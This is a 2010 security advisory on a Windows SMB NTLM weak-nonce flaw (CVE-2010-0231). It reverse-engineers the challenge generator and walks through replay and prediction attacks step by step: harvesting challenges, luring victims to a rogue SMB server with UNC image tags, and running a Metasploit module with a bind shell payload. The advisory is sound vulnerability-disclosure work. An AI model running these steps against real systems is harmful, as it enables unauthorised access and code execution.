Windows SMB NTLM Authentication Weak Nonce Vulnerability


Security Advisory Title: Windows SMB NTLM Authentication Weak Nonce Vulnerability
Advisory ID: AMPLIA-OCHOA-2010-0209
Date published: 2010-02-09
Vendors contacted: Microsoft
Release mode: Coordinated release
Last Updated: 2010-09-18

Index

1. Vulnerablity information
2. Vulnerablity description
3. Vulnerable systems
4. Vendor Information, solutions and workarounds
5. Credits
6. Technical description
6.1. NTLM authentication protocol
6.2. The Flaws
6.3. Detecting if the SMB service generates duplicate 8-byte challenges
6.4. Exploiting duplicate challenges
6.4.1. Proof-of-Concept Exploit
6.5. Predicting challenge
6.5.1. SMB service: challenge generation process
6.5.2. Proof-of-Concept Exploit
7. References
8. Disclaimer


1. Vulnerability information

Impact: An unauthenticated remote attacker without any kind of credentials can access the SMB service under the credentials of an authorized user. Depending on the privileges of the authorized user, and the configuration of the remote system, an attacker can gain read/write access to the remote file system and execute arbitrary code by using DCE/RPC over SMB.
Remotely Exploitable: Yes
Bugtraq Id: <unknown>
CVE: CVE-2010-0231


2. Vulnerability description

Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1].

NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2].

Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC.

Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code.


3. Vulnerable Systems

This vulnerability was verified by the authors on the following platforms:

Windows NT 3.1/3.5
Windows NT4 SP1
Windows Server 2003 SP2
Windows XP SP3
Windows Vista x32
Windows 7 x32 RC

However, all versions of Windows implementing NTLM v1 and v2 are suspected to be affected.
Microsoft, in their "Microsoft Security Bulletin Advance Notification for February 2010" [3], list the following platforms as affected:

Windows 2000 SP4
Windows XP SP2 and SP3
Windows XP Professional x64 Edition SP2
Windows Server 2003 SP2
Windows Server 2003 x64 Edition SP2
Windows Server 2003 SP2 for Itanium-based systems
Windows Vista
Windows Vista SP1
Windows Vista SP2
Windows Vista x64 Edition
Windows Vista x64 Edition SP1
Windows Vista x64 Edition SP2
Windows Server 2008 x32
Windows Server 2008 x32 SP2
Windows Server 2008 x64 SP2
Windows Server 2008 x64 SP2
Windows Server 2008 for Itanium-based systems
Windows Server 2008 for Itanium-based systems SP2
Windows 7 x32

See [3] for more details.

Given that Windows NT 3.1 (which we have confirmed is also affected) was released in ~1993 this vulnerability has been present for ~17 years in all Windows systems.

4. Vendor Information, Solutions and Workarounds

SMB NTLM Authentication Lack of Entropy Vulnerability - CVE-2010-0231
http://www.microsoft.com/technet/security/bulletin/ms10-012.mspx


5. Credits

This vulnerability was discovered by Hernan Ochoa (Security Consultant and Researcher) and it was researched by Hernan Ochoa and Agustin Azubel (Security Consultant and Researcher).


6. Technical description

Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1].

NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2].

Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC.

Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code.


6.1 NTLM authentication protocol

The NTLMv1 authentication protocol is a challenge-response protocol that consists of the following messages:

  1. The client sends to the server a message containing a set of flags of features supported/requested to perform authentication.
  2. The server responds with a message containing a set of flags supported/required by the server enabling both ends to agree on the authentication parameters and, more importantly, an 8-byte random challenge/nonce.
  3. The client uses the random challenge/nonce and the user's credentials to calculate the response (24 bytes) and sends it to the server.
  4. The server determines if the response is correct and allows or disallows access to the client.

The randomness of the 8-byte challenge/nonce returned by the server tries to ensure that every challenge-response sequence is unique helping protect against replay attacks.

The NTLMv2 authentication protocol is functionally equivalent to NTLMv1 for the purposes of this vulnerability and is also affected.

6.2 The Flaws

Several flaws were found leading to attacks such as generation of duplicate challenges/nonces and challenge/nonce prediction.

The randomness of the 8-byte challenges generated by the SMB server in response to an specific packet requesting authentication is bad enabling attackers to perform replay attacks. The SMB server easily generates duplicate 8-byte challenges.

The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges.


6.3 Detecting if the SMB service generates duplicate 8-byte challenges

Detecting the generation of duplicate challenges can be verified remotely by repeatedly sending 'SMB Negotiate Protocol Request' packets to a Windows system with the 'Flags2' field set to 0xc001 (disabling security signatures, extended attributes and extended security negotiation) recording the 8-byte challenges obtained from the server and waiting for duplicates.

The following Ruby script can be used to test for the presence of this vulnerability:


6.4 Exploiting duplicate challenges

There are different ways to exploit duplicate challenges, including:

  • (i) An attacker A can eavesdrop network traffic looking for NTLM authentication messages exchanged between client C and server S ('SMB Negotiate Protocol Requests' packets and 'SMB Negotiate Protocol Responses' packets), storing challenges and their corresponding responses. The attacker A can then perform several authentication requests to server S until S returns a previously observed challenge (a duplicate).At that point attacker A will send the corresponding and previously recorded response.
  • We did not find so far any current Windows version (XP,Vista,7,etc) that by default or using some specific configuration, when acting as an SMB client, would generate the necessary 'SMB Negotiate Protocol Request' packets with the correct values in the 'Flags2' field to trigger the vulnerability when accessing a remote SMB service. Hence we were unable to collect duplicate challenges only by network sniffing.

    Tests were performed with the third-party SMB client 'smbclient' from the SAMBA project with the same negative results (tests were not exhaustive).

    Since this problem was also found on Windows versions as old as Windows NT4, this scenario might still be possible.
  • (ii) An attacker A connects to system S and sends mutiple 'SMB Negotiate Protocol Request' packets with the 'Flags2' field set to 0xc001 to obtain several challenges, and stores them. The attacker A then forces a user U on system S to connect to his own specially crafted SMB server, for example by sending an email with multiple <IMG≶ tags with UNC links (e.g.: <IMG SRC=\\evilserver\share\a.jpg>) or a link to web server with similar <IMG≶ tags. Upon receiving the connections from system S,the attacker's SMB server will respond with the previously obtained challenges and will store the corresponding responses returned by the remote system. Attacker A has now a set of responses which are the challenges encrypted with user's U credentials.


  • Finally, the attacker A will perform several authentication requests to system S until it returns one of the challenges obtained at the beginning of this attack, and at that point he will replay the corresponding and previously obtained response to gain access to system S as user U.

    If user U has, for example, local administrator privileges on system S (not uncommon for Windows XP users, for example), remote code execution is possible via DCE/RPC over SMB. Even if user U has no administrator privileges attacker A can still access, for example, file shares accessible by user U and read/modify information.

    Tests performed showed that challenges and responses obtained from a system S can be reused multiple times against that same system and other remote systems. We observed that challenges obtained from a system S were also returned by other remote systems. This means that attacker A only needs, in the best case scenario, to force user U to connect to his own specially crafted SMB server once. Of course, user U must have access (his credentials must be valid) to the other systems attacked.

    This attack needs the victim to have port 445/tcp open and the attacker to be able to access that port. The victim also needs to be able to access port 445/tcp on the attacker's server (only once, to record responses. Subsequent attacks do not need the victim to access the attacker's system).

    This simple attack using a 'brute-force' approach to find duplicate challenges proved to be acceptably effective.

6.4.1 Proof-of-Concept Exploit

The exploit implementation is twofolded:

  • (i) setup_smb_weak_nonce.rb

  • This standalone Ruby script performs several connections to the victim sending 'SMB Negotiate Protocol Request' packets to obtain 8000 challenges (the number of challenges to be obtained can be changed).
    After collecting 8000 challenges, it will listen on port 445/tcp for incoming SMB connections originated by the victim. For every connection received, it will send to the victim one of the previously obtained challenges and will store the corresponding response obtained.
    As a simple example of a method to force the victim to connect to the attacker, the file 'conn.html' is provided. This is a very simple HTML file with javascript code that will generate 1000 <IMG≶ tags with an UNC link to different image files. The challenges and responses obtained are saved to the file 'fullcreds.log'.
  • (ii) msf_smb_weak_nonce.rb

  • This metasploit module will perform connections to the victim until the server responds with one of the duplicate challenges stored in 'fullcreds.log'. The module will then send the corresponding response to gain access to the victim's SMB service.
    Finally, after successful exploitation, the module will create the file 'owned.txt' in the ADMIN$ share (c:\windows) with the following text: "Windows SMB NTLM Authentication weak nonce vulnerability successfully exploited!".
    This module can be easily modified to execute code on the remote system (given the target user has enough privileges).

    To exploit the vulnerability repeat the following steps:
    • 1. copy msf_smb_weak_nonce.rb to <METASPLOIT_DIR>/modules/exploits/windows/smb

    • 2. Run setup_smb_weak_nonce.rb specifying the IP of the victim (e.g.: ruby setup_smb_weak_nonce.rb 192.168.10.1). After collecting the nonces the script will listen on port 445 for incoming SMB connections.

    • 3. Run Internet Explorer and load 'conn.html'. This will produce 1000+ connections to the SMB server implemented by setup_smb_weak_noce.rb.


    • (Note 1: setup_smb_weak_nonce.rb needs to be run as root to be able to listen on port 445/tcp)
      (Note 2: If you load 'conn.html' with Internet Explorer and 'conn.html' is stored on a local drive (e.g.:c:\conn.html) it is possible Internet Explorer will prompt you to allow execution of the javascript code within 'conn.html'. This is not a limitation of the attack, it is just an extra protection implemented by Internet Explorer, the 'conn.html' does not even need to contain javascript code, it uses it just because it is convenient, you could just as easily 'hard-code' all <IMG≶ tags. Also, loading the html file from the a local disk is not a real attack scenario, all of this is for demonstration purposes).

    • 4.After 1000 connections are received by setup_smb_weak_nonce.rb the script will terminate. The file 'fullcreds.log' will be generated. Copy 'fullcreds.log' to /tmp.

    • 5. run metasploit (msfconsole) and execute the following commands:

    • -use windows/smb/msf_smb_weak_nonce -set RHOST <victim_ip≶ for example: set RHOST 192.168.10.1 -set payload windows/shell/bind_tcp -exploit
      The metasploit module looks for 'fullcreds.log' in '/tmp' by default. You can specify the location of the 'fullcreds.log' file using the following command:

      -set CREDSFILE <path+filename>
      for example:
      -set CREDSFILE /mydir/fullcreds.log

    • 6.the metasploit module will start performing connections to the victim until receiving a duplicate challenge for which there's a response in the 'fullcreds.log' file. After successfully authenticating to the victim, the script will create the file 'owned.txt' in c:\windows via the ADMIN$ share (given the user exploited has enough privileges).

    • Please remember that this proof-of-concept exploit requires the targer user to have enough privileges (e.g.: local administrator) to access the ADMIN$ share remotely. However, the target user does need to have this privilege level in order for the attacker to exploit the vulnerability. For example: if the target user only has regular user privileges, an attacker can access the file shares that user has access to. Also, exploiting the vulnerabiliy and the level of access obtained are two different things.

      This is just a proof-of-concept exploit, it can be improved and optimized.

      Next are all the previously mentioned files part of the proof-of-concept exploit:


6.5 Predicting challenges

The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges.
In order to explain the attack implemented next we begin by explaining the method used by the Windows SMB service to generate challenges.


6.5.1 SMB service: challenge generation process

(Note: during this explanation we are going to use the code for the Windows XP version of all modules mentioned. The code is the same in all platforms with some minor differences for some platforms but these differences do not produce a different behaviour).

The function that generates the challenges returned in 'SMB Negotiate Protocol Response' packets is srv.sys!GetEncryptionKey():

It takes the current time, and adds to the low part of the current time the value of the global variable _EncryptionKeyCount.

  • 00040735 lea eax, [ebp+CurrentTime]
  • 00040738 push eax
  • 00040739 call ds:__imp__KeQuerySystemTime@4
  • 0004073F mov eax, _EncryptionKeyCount
  • 00040744 add dword ptr [ebp+CurrentTime], eax


Increments _EncryptionKeyCount by 0x100 and makes some 'calculations'
with the (current time.lowpart + _EncryptionKeyCount) resulting in a DWORD value with the
following 'pattern':

  • where CT = (current time.lowpart + _EncryptionKeyCount)
  •  seed = CT[1], CT[2]-1, CT[2], CT[1]+1;
  • 00040747 movzx ecx, byte ptr [ebp+CurrentTime+1]
  • 0004074B movzx eax, byte ptr [ebp+CurrentTime+2]
  • 0004074F add _EncryptionKeyCount, 100h
  • 00040759 mov edx, ecx
  • 0004075B shl edx, 8
  • 0004075E lea esi, [eax-1]
  • 00040761 or edx, esi
  • 00040763 mov esi, ds:__imp__RtlRandom@4
  • 00040769 shl edx, 8
  • 0004076C or edx, eax
  • 0004076E shl edx, 8
  • 00040771 inc ecx
  • 00040772 lea eax, [ebp+Seed]
  • 00040775 or edx, ecx

Then it calls the ntoskrnl.exe!RtlRandom(&seed) function three times, using
as a 'seed' the value with the pattern shown above. Each call to ntosrnkl.exe!RtlRandom(&seed)
returns in 'seed' a different value (meaning each call does not use the same value as a 'seed').

  • 00040777 push eax
  • 00040778 mov [ebp+Seed], edx
  • 0004077B call esi ; RtlRandom(x)
  • 0004077D mov [ebp+var_18], eax
  • 00040780 lea eax, [ebp+Seed]
  • 00040783 push eax
  • 00040784 call esi ; RtlRandom(x)
  • 00040786 mov ebx, eax
  • 00040788 lea eax, [ebp+Seed]
  • 0004078B push eax ; Seed
  • 0004078C call esi ; RtlRandom(x)

The calls to ntoskrnl.exe!RtlRandom(&seed) generate 3 'random' numbers.
Based on the value of random_number3, random_number1 and random_number2 are
modified:

  • 0004078E test al, 1
  • 00040790 mov ecx, 80000000h
  • 00040795 jz short loc_4079A
  • 00040797 or [ebp+var_18], ecx
  • 0004079A
  • 0004079A loc_4079A:
  • 0004079A test al, 2
  • 0004079C jz short loc_407A0
  • 0004079E or ebx, ecx
  • 000407A0
  • 000407A0 loc_407A0:

Finally, the code returns the challenge in the form bytes(random_number1, random_number2)

  • 000407A0 mov eax, [ebp+var_18]
  • 000407A3 mov ecx, [ebp+var_4]
  • 000407A6 mov [edi+4], ebx
  • 000407A9 mov [edi], eax
  • 000407AB pop edi
  • 000407AC pop esi
  • 000407AD pop ebx
  • 000407AE call @__security_check_cookie@4
  • 000407B3 leave
  • 000407B4 retn 4

Next is pseudo-code for the function srv.sys!GetEncryptionKey():

  • // Global Variable
    DWORD _EncryptionKeyCount = 0;

    srv.sys!GetEncryptionKey(byte OUT *pChallenge)
    {
    LARGE_INTEGER currentTime;
    DWORD seed;
    DWORD random_number1, random_number2, random_number3;


    KeQuerySystemTime(&CurrentTime);
    CurrentTime.LowPart += _EncryptionKeyCount;

    _EncryptionKeyCount += 0x100;

    CT = CurrentTime.LowPart;

    seed = CT[1], CT[2]-1, CT[2], CT[1]+1;

    random_number1 = ntoskrnl.exe!RtlRandom(&seed);
    random_number2 = ntoskrnl.exe!RtlRnadom(&seed);
    random_number3 = ntoskrnl.exe!RtlRandom(&seed);


    if ( (random_number3 & 1) == 1) {
    random_number1 |= 0x80000000
    }

    if( (random_number3 & 2) == 2 ) {
    random_number2 |=  0x80000000
    }

    *pChallenge =  bytes(random_number1, random_number2);
    }

The code for ntoskrnl.exe!RtlRandom(&seed) is the following:

  • It receives the seed and performs the following calculations:

    X0 = *seed;
    X1 = (a*X0 + b ) mod m
    where:
    a = 0x7FFFFFED
    b = 0x7FFFFFC3
    m = 0x7FFFFFFF

    004B5B75                 mov     edi, edi
    004B5B77                 push    ebp
    004B5B78                 mov     ebp, esp
    004B5B7A                 push    ebx
    004B5B7B                 push    esi
    004B5B7C                 mov     esi, [ebp+Seed]
    004B5B7F                 mov     eax, [esi]
    004B5B81                 imul    eax, 7FFFFFEDh
    004B5B87                 push    edi
    004B5B88                 mov     ecx, 7FFFFFC3h
    004B5B8D                 add     eax, ecx
    004B5B8F                 mov     edi, 7FFFFFFFh
    004B5B94                 xor     edx, edx
    004B5B96                 mov     ebx, edi
    004B5B98                 div     ebx

    With the X1 value performs similar calculations:

    X2 = (a*X1 + b) mod m

    004B5B9A                 mov     ebx, edx
    004B5B9C                 mov     eax, edx
    004B5B9E                 imul    eax, 7FFFFFEDh
    004B5BA4                 add     eax, ecx
    004B5BA6                 xor     edx, edx
    004B5BA8                 div     edi

    It sets the value of seed to X2

    004B5BAA                 pop     edi
    004B5BAB                 mov     [esi], edx

    it calculates  (X2 & 0x7F) to generate an index for the _RtlpRandomConstantVector

    004B5BAD                 and     edx, 7Fh
    004B5BB0                 lea     ecx, _RtlpRandomConstantVector[edx*4]

    and finally fetches the value found at the previously calculated index, and also
    stores the value of X1 in that position.

    004B5BB7                 mov     eax, [ecx]
    004B5BB9                 pop     esi
    004B5BBA                 mov     [ecx], ebx

Next is pseudo-code for the function ntoskrnl.exe!RtlRandom:

  • // Global variable
    DWORD ntoskrnl.exe!RtlpRandomConstantVector [128] = {...}

    DWORD ntoskrnl.exe!RtlRandom(DWORD *pseed)
    {
    DWORD a = 0x7FFFFFED;
    DWORD b = 0x7FFFFFC3;
    DWORD m = 0x7FFFFFFF;
    DWORD X0, X1, X2;

    X0 = *pseed;
    X1 = ( a*X0 + b ) mod m
    X2 = ( a*X1 + b ) mod m
    *pseed = X2;
    ndx = X2 & 0x7F;
    n = RtlpRandomConstantVector[ndx];
    RtlpRandomConstantVector[ndx] = X1;
    return n;
    }
    In Summary,

  • The srv.sys!GetEncryptionKey() does the following:

    • - Gets current time, takes the low part (4 bytes) and adds the value of _EncryptionKeyCount (4-bytes)
    • - Increments _EncryptionKeyCount by 0x100
    • - Takes the two 'middle' bytes of CT=(current time.lowpart + _EncryptionKeyCount) and creates a seed with the form CT[1], CT[2]-1, CT[2], CT[1]+1.
    • - Calls ntoskrnl.exe!RtlRandom three times and obtains three random numbers (random1,random2,random3)
    • - Depending on the value of random3, makes some modifications to random1 and random2
    • - creates the challenge by creating an array of bytes in the form random1, random2

    The ntoskrnl.exe!RtlRandom function appears to be a Maclaren-Marsaglia PRNG algorithm using two LCGs (linear congruential generators) [4] with a vector of 128 bytes.

  • We know the following facts:

    • - _EncryptionKeyCount starts with a value of 0
    • - _EncryptionKeyCount is only modified by srv.sys!GetEncryptionKey. The code that calls srv.sys!GetEncryptionKey() is not regularly triggered, but only when the SMB service receives a packet like the one we use with the 'flags2' field set to 0xc001
    • - We have not observed 'modern' Windows systems (Windows XP SP3, Vista, 7, etc) generate these kind of packets
    • - This allows us to expect that before start conducting an attack against any 'modern' Windows system, _EncryptionKeyCount will always be 0; by keeping count of the number of packets we send, we can also calculate the value of _EncryptionKeyCount for further connections
    • - Interestingly enough, in our tests, the value of Current Time used by srv.sys!GetEncryptionKey to generate the seed was the same value returned by the SMB service to the client in the field 'System Time' of an 'SMB Negotiate Protocol Response' packet
    • - The initial state of the vector used by ntoskrnl.exe!RtlRandom is hard-coded, but it is modified every time the function is called and it is called every time a new process is created (modifications might not be that many).

  • Based on these facts we implemented the following attack to predict challenges:

    1. - We set the vector used by ntoskrnl.exe!RtlRandom to a 'known state'
    2. - To do this we send multiple 'SMB Negotiate Protocol Request' packets with the 'flags2' field set to 0xc001 to trigger srv.sys!GetEncryptionKey which in turns calls ntoskrnl.exe!RtlRandom modifying its internal vector (~300 packets)
    3. - Since we know the seed used by the server to perform the previous actions, because it is in the 'System Time' field of the 'SMB Negotiate Protocol Response' packet we receive, and we also know all the other variables including the value of _EncryptionKeyCount, we can do the same calculations updating our own vector
    4. - We repeat this process until all 128 values of our vector are calculated. At this point we know the state of the table on the remote system, we know all of its values and their position within the vector.
    5. - We calculate all possible challenges that can be generated with that 'known state' next time srv.sys!GetEncryptionKey is called
    6. - We force the victim to connect to our specially crafted SMB server to get all those challenges encrypted with the credentials of the victim (an average of ~16000 to ~48000 possible challenges)
    7. - At this point we know that if we send another authentication request to the victim the challenge returned will be one of the pre-calculated challenges. We make the connection, get the challenge, look for the corresponding response w obtained from the victim, and authenticate to the SMB service.

6.5.2 Proof-of-Concept Exploit

Next are the necessary steps to perform the attack:

  • Run predictor.rb against the victim. E.g.: ruby predictor.rb 192.168.1.110
    This script will show the progress of 'setting' the values of the victims RtlRandom's internal vector.
    It will display something like this:

  • (0x00-0x04) 0x00000000 0x00000000 0x00000000 0x2948d15b
    (0x04-0x08) 0x72f4dda5 0x00000000 0x14dbf86f 0x00000000
    (0x08-0x0c) 0x00000000 0x62d2c31e 0x00000000 0x7ef9db03
    (0x0c-0x10) 0x00000000 0x0dfdee4d 0x00000000 0x0ecd0d97
    (0x10-0x14) 0x00000000 0x04d986e1 0x00000000 0x00000000
    (0x14-0x18) 0x00000000 0x35fdf275 0x00000000 0x00000000
    (0x18-0x1c) 0x00000000 0x47b6b289 0x00000000 0x00000000
    (0x1c-0x20) 0x5b9a7eb8 0x00000000 0x00000000 0x3b150ecc
    (0x20-0x24) 0x146909b1 0x7a3022b1 0x00000000 0x00000000
    (0x24-0x28) 0x23bfb6e0 0x00000000 0x00000000 0x0e5c7c0f
    (0x28-0x2c) 0x3f027a59 0x00000000 0x00000000 0x00000000
    (0x2c-0x30) 0x00000000 0x00000000 0x6a3158d2 0x00000000
    (0x30-0x34) 0x69d97001 0x2cd5c5e6 0x00000000 0x2cdcb5b0
    (0x34-0x38) 0x00000000 0x00000000 0x00000000 0x00000000
    (0x38-0x3c) 0x00000000 0x00000000 0x00000000 0x00000000
    (0x3c-0x40) 0x08deca3d 0x4954003d 0x00000000 0x00f5b207
    (0x40-0x44) 0x4de0efd1 0x00000000 0x00000000 0x56bf3780
    (0x44-0x48) 0x25210c65 0x00000000 0x00000000 0x00000000
    (0x48-0x4c) 0x00000000 0x00000000 0x00000000 0x00000000
    (0x4c-0x50) 0x00000000 0x00000000 0x00000000 0x00000000
    (0x50-0x54) 0x00000000 0x397415a1 0x34aa91eb 0x00000000
    (0x54-0x58) 0x231aeb35 0x00000000 0x00000000 0x00000000
    (0x58-0x5c) 0x00000000 0x04223749 0x00000000 0x1b4c91f8
    (0x5c-0x60) 0x00000000 0x00000000 0x00000000 0x71ad9da7
    (0x60-0x64) 0x00000000 0x00000000 0x00000000 0x046696bb
    (0x64-0x68) 0x00000000 0x00000000 0x193b264f 0x439ef5b4
    (0x68-0x6c) 0x5bdd2f34 0x00000000 0x00000000 0x481eaee3
    (0x6c-0x70) 0x00000000 0x00000000 0x50b1e1f7 0x2a8d71dc
    (0x70-0x74) 0x00000000 0x02240f41 0x0ae7948b 0x37af3d8b
    (0x74-0x78) 0x00000000 0x00000000 0x77130a3a 0x640bf49f
    (0x78-0x7c) 0x31665169 0x20a1c769 0x00000000 0x00000000
    (0x7c-0x80) 0x6958e618 0x00000000 0x00000000 0x00000000
    known values: 48/128
  • When predictor.rb finishes, it writes the values of the vector to 'x_values.log' (it also generates a file 't_values.log' containing the 'current times' observed in the 'SMB Negotiate Protocol Response' packets).
  • Run generate_challenges.rb, it will generate the file 'challenges.log' with all the possible challenges based on 'x_values.log'.
  • Run savecreds.rb, it will wait for incoming connections on port 445/tcp
  • On the victim, use 'predict.html' with Internet Explorer to perform SMB connections to savecreds.rb's server you will need to change the IP address of the server where savecreds.rb is running in 'predict.html', and also the number of connections to perform (look for the line: 'if (id == 50000) {' and change accordingly).
    The number of connections that need to be performed is shown by savecreds.rb.
  • When savecreds.rb is finished, a file 'fullcreds.log' will be created
  • Now use the metasploit module msf_smb_weak_nonce.rb as explained before with the recently generated 'fullcreds.log' against the victim
  • You should be able to authenticate with the victim at the ~first attempt

  • Sometimes the challenge is correctly 'guessed' at the first attempt, but the attack fails because of some SMB error. If this happens please note that the challenge was indeed correctly predicted.
    Also note that since the internal vector is not completely modified after just one connection, the exploit will actually be able to predict more challenges (you might be able to run the metasploit exploit multiple times before performing the whole attack all over again).

    The predictor.rb assumes the EncryptionKeyCount is 0. If you want to run the attack multiple times you
    just need to modify its value in predictor.rb. The value of EncryptionKeyCount after the attack is displayed by predictor.rb when it terminates (you need to use the value displayed + 0x100).

    After generate_challenges.rb is executed, if the number of possible challenges is 'too big' (~48000 or more) you
    might want to run predictor.rb again. The size of the set of possible challenges vary according to the values in the vector. Remember to adjust EncryptionKeyCount before running predictor.rb. We recommend peforming the attack when EncryptionKeyCount is 0 specially if this is the first time this proof-of-concept is used.

    This is just a proof-of-concept exploit, it can be improved and optimized.



7. References

[1] Microsoft SMB Protocol and CIFS Protocol Overview
http://msdn.microsoft.com/en-us/library/aa365233(VS.85).aspx

[2] Microsoft NTLM
http://msdn.microsoft.com/en-us/library/aa378749(VS.85).aspx

[3] Microsoft Security Bulletin Advance Notification for February 2010
http://www.microsoft.com/technet/security/Bulletin/ms10-feb.mspx

[4] Bruce Schneier, Applied Cryptography (Second Edition), 1996.
Chapter 16, pp 369.


8. Disclaimer

The contents of this advisory are copyright (c) 2010 Hernan Ochoa, and may be distributed freely provided that no fee is charged for distribution and proper credit is given.